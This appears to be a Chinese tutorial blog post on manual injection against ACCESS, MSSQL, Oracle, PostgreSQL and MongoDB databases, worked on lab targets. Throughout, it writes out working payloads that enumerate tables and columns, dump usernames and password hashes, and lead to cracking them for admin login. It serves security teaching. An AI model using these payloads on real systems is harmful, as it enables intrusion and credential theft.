各种数据库注入

一。ACCESS手工注入(附带环境搭建教程)

1.环境搭建

链接:https://pan.baidu.com/s/1EIqzANoJcA70htoG5m3RMw?pwd=x31a 
提取码:x31a

(1)进入百度网盘下载文件

(2)将环境附件压缩下放到www根目录

(3)访问iis服务器绑定的ip地址即可访问到网站靶场

2.手工注入流程

(1)判断注入点

news_view.asp?id=11' //报错

news_view.asp?id=11 and 1=1 //正常

news_view.asp?id=11 and 1=2 //错误

(2)order by判断列数 当order by 7的时候⻚⾯正常 order by 8的时候⻚⾯报错 说明有7个字段

news_view.asp?id=11 order by 7 //⻚⾯正常.

news_view.asp?id=11 order by 8 //⻚⾯报错,说明有7列.

(3).猜表。

news_view.asp?id=11 and exists(select * from 表名) //判断某个表是否存在

news_view.asp?id=11 and exists(select * from admin) //从admin表中查询数据,页面不正常,说明 不存在admin表 、

news_view.asp?id=11 and exists(select * from users) //从users表中查询数据,页面不正常,说明 不存在admin表

news_view.asp?id=11 and exists(select * from administrator) //从administrator表中查询数据,页面正常,说明查到数据了

(4)判断回显位置

news_view.asp?id=11 union select 1,2,3,4,5,6,7 //页面报错,不符合access语法,

select 列 from 表

news_view.asp?id=11 union select 1,2,3,4,5,6,7 from administrator //页面正常

(5)猜字段名 可能的字段名有 username user_name user ,password passwd pwd pass_wd pass_word admin_name admin_username admin_user admin_passwd admin_pwd ..........

news_view.asp?id=14 union select 1,username,3,4,5,6,7 from administrator // 报错,说明没有username列

news_view.asp?id=14 union select 1,user_name,3,4,5,6,7 from administrator //正常,说明存在这⼀列

然后去回显点3查询密码列

news_view.asp?id=14 union select 1,user_name,password,4,5,6,7 from administrator //成功查到密码

(6)密码进⾏md5解密 并去后台登录 后台地址爆破⼀下

二。MSSQL⼿⼯注⼊。

(1).在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型

http://192.168.0.141/less-1.asp?id=1

http://192.168.0.141/less-1.asp?id=1'

http://192.168.0.141/less-1.asp?id=1' --

(2)查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限

union select user,null,null user:查询⽤户

db_name():查询数据库名

@@version:查询版本信息

(3)通过以下语句来猜解有哪些表...从⽽获取⽬标站点的表信息...

'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id) order by id desc)=1--

xtype=char(85) //xtype=字符的ASCII值

#查看不存在表名,返回其他表信息

第⼆张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users')-- //emails

第三张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails')-- //uagents

第四张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails' and name !='uagents')-- //referers

第五张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !='users' and name !='emails' and name !='uagents' and name !='referer s')-- //返回结果为空,说明不知道第五张表

(4)通过以下语句爆出表下的所有字段信息..

#payload

'having 1=1-- 'group by 字段名1 having 1=1--

'group by 字段名1,字段名2 having 1=1--

#字段名

id,username,password

(5)爆字段值.

#查询字段数据

1'order by 3-- //回显正常

1'order by 4-- //回信错误

#回显存在内容的字段

-1'union select 1,2,3 from users--

#查询字段内容

-1' union all select 1,(select top 1 username from users),'3'--

-1' union all select 1,2,(select top 1 password from users)--

三。Oracle⼿⼯注⼊

(1)跟其他数据库⼀样,检测注⼊点都是可以通过拼接and语句进⾏判断。这⾥通过and 1=1 和and 1=2进⾏判断。

#payload new_list.php

?id=1 and 1=1 new_list.php

?id=1 and 1=2

(2)通过order by来判断字段数。因为order by 2⻚⾯正常,order by 3⻚⾯不正常,故判断 当前字段数为2

new_list.php?id=1 order by 2

new_list.php?id=1 order by 3

(3)获取显错点,联合查询这⾥使⽤了union select,oracle数据库与mysql数据库不同点在于它对 于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段 new_list.php?id=1 order by 2 new_list.php?id=1 order by 3 1 2 Python 48 使⽤字符型数据,整型字段使⽤整型数据才可以。如下,两个字段都为字符型,故使⽤ union selec t ‘null’,‘null’ 。 (在有些情况下也采⽤union all select的形式进⾏联合查询。union all select与union select的不同 点可以很容易理解为all表示输出所有,也就是当数据出现相同时,将所有数据都输出;union select则会将相同数据进⾏过滤,只输出其中⼀条。)

#联合查询

new_list.php?id=-1 union select null,null from dual //dual为伪表

#修改null为'null',判断字段类型均为字符型new_list.php?id=-1 union select 'null','null' from dual

(4)查询数据库版本信息.

http://124.70.22.208:42980/new_list.php?id=-1 union select 'null',(select b anner from sys.v_$version where rownum=1) from dual

(5)查询当前数据库库名..

new_list.php?id=-1 union select 'null',(select instance_name from V$INSTANC E) from dual

(6)查询数据库表名,查询表名⼀般查询admin或者user表

#获取第⼀个表名

LOGMNR_SESSION_EVOLVE$ new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

#获取第⼆个表名

LOGMNR_GLOBAL$ new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

#获取第三个表名

LOGMNR_GT_TAB_INCLUDE$ new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_nam e not in 'LOGMNR_GLOBAL$') from dual

#模糊搜索查询.获取sns_users表名

new_list.php?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

(7)查询数据库列名...

#直接查询

new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where table_name='sns_users' and rownum=1) from dual

new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where rownum=1 and column_name not in 'USER_NAME') from dual

new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual

new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual

#模糊搜索查询

new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where table_name='sns_users' and rownum=1 and column_name like '%USE R%') from dual

new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where table_name='sns_users' and rownum=1 and column_name like '%USE R%' and column_name <> 'USER_NAME') from dual

(8)查询数据库数据获取账号密码的字段内容...

new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where r ownum=1

new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where r ownum=1 and USER_NAME <> 'zhong'

new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where r ownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

(9)对其数据库内的字段内容进⾏解密....进⾏后台登录

四PostGREsql手工注入

(1)查看是否存在注⼊点...构造Payload;回显没有显示数据,代表“and 1=2”语句拼接到了后 端数据库查询语句当中...

# Payload

new_list.php?id=1 and 1=2

(2)开始猜解后端收据库能够返回多少个字段..发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个

# Payload

new_list.php?id=1 order by 4

new_list.php?id=1 order by 5

# 注释信息

Order by是数据库查询的时候对结果进⾏的排序,如果后⾯写的是字段,则根据查询字段进⾏排序, 但如果后⾯写的是数字,该数字⼤于所查询的字段数,则就会报错,⼩于的话就不会报错。

(3)开始检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造 Payload/...通过测试发现只有第⼆第三个字段是前端回显数据字段。

# Payload

new_list.php?id=1 and 1=2 union select 'null',null,null,null //⽆回显

new_list.php?id=1 and 1=2 union select null,'null',null,null //有回显

new_list.php?id=1 and 1=2 union select null,null,'null',null //有回显

new_list.php?id=1 and 1=2 union select null,null,null,'null' //⽆回显

(4)在这两个字段当中来查询我们想要的得到的数据。例如得到当前数据库名称和当前⽤户以 及数据库的版本...

current_database() //当前数据库

current_user //当前⽤户

version() //版本信息

# 爆所有的数据库

 new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),nu ll from pg_database

其中string_agg(datname,',')是将查询到的数据库名⽤“,”拼接起来,pg_database存储了所 有的数据库名。

(5)构造Payload爆指定数据库下的表名....

# Payload

new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','), null from pg_tables where schemaname='public'

new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),nu ll from pg_stat_user_tables where schemaname='public'

new_list.php?id=1 and 1=2 union select null,null,string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'

# 注释

其中pg_tables,pg_stat_user_tables,information_schema.tables存储了所有的表名, public是⼀种模式,Postgresql 查表的限制都是public

(6)此时我们已经得到了表并开始查询字段,由于查询到的第⼆个表名带有“user”,我们就先 查询它

new_list.php?id=1 and 1=2 union select null,null,string_agg(column_nam e,','),null from information_schema.columns where table_name='reg_users'

其中information_schema.columns为⼀个存放了所有表字段的⼀张表

(7)查询到字段以后,最后⼀步就是爆出数据了且如下构造payload

new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg (password,','),null from reg_users

(8)解密并得到相对应账号密码

五MongoDB⼿⼯注⼊

(1)如下给出的源码...可以看到数据库查询的语句如下..构造回显测试...、

# 查询语句

var data= db.notice.findOne({'id':'$id'});return data;

传⼊的数据是$id。注意到可以通过闭合 “({‘” 来构造payload 因为返回的数据是$obj[‘retva l’][‘title’]与$obj[‘retval’][‘content’],可以尝试return({title:’1’,conten t:’2’})来构造回显测试

# Payload

new_list.php?id=1'});return ({title:'1',content:'2

(2)成功显示“1”和“2”。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询 当前数据库。通过回显观察到数据库为 mozhe_cms_Authority 其中tojson是可以把数据变成 json型数据,db为取当前数据库,即当前的数据库为 mozhe_cms_Authority

# Payload

new_list.php?id=1'});return({title:tojson(db),content:'2

(3)得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中 db.getColl ectionNames() 返回⼀个包含当前数据库中所有集合名称的数组。

# Payload

new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),conten t:'2

(4)这样数据库的表名就被爆出来了,⼀共有三个表,分别为: Authority_confidentia l 、 notice 、 system_indexes 。最后我们就可以直接选取某个表爆出其中的数据了...

# Payload

new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[ 0]),content:'2

# 注释

Payload中的“db.Authority_confidential.find()[0]” db代表当前数据库,Authority_c onfidential 代表当前所要查询的表,find()查询函数,返回查询的结果,[0]代表取索引为0的数 据。当然我们也可以将其改为1、2...直到查询不到数据为⽌。

(5)最终我们就可以获得数据了,将密码进⾏MD5解密,返回登录⻚进⾏登录,划倒⻚⾯最下 端就可以看到KEY了。如果第⼀个⽤户账号密码登录不了,我们就改变查询的索引“find()[1]”查询 其他的⽤户账号密码登录即可..

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值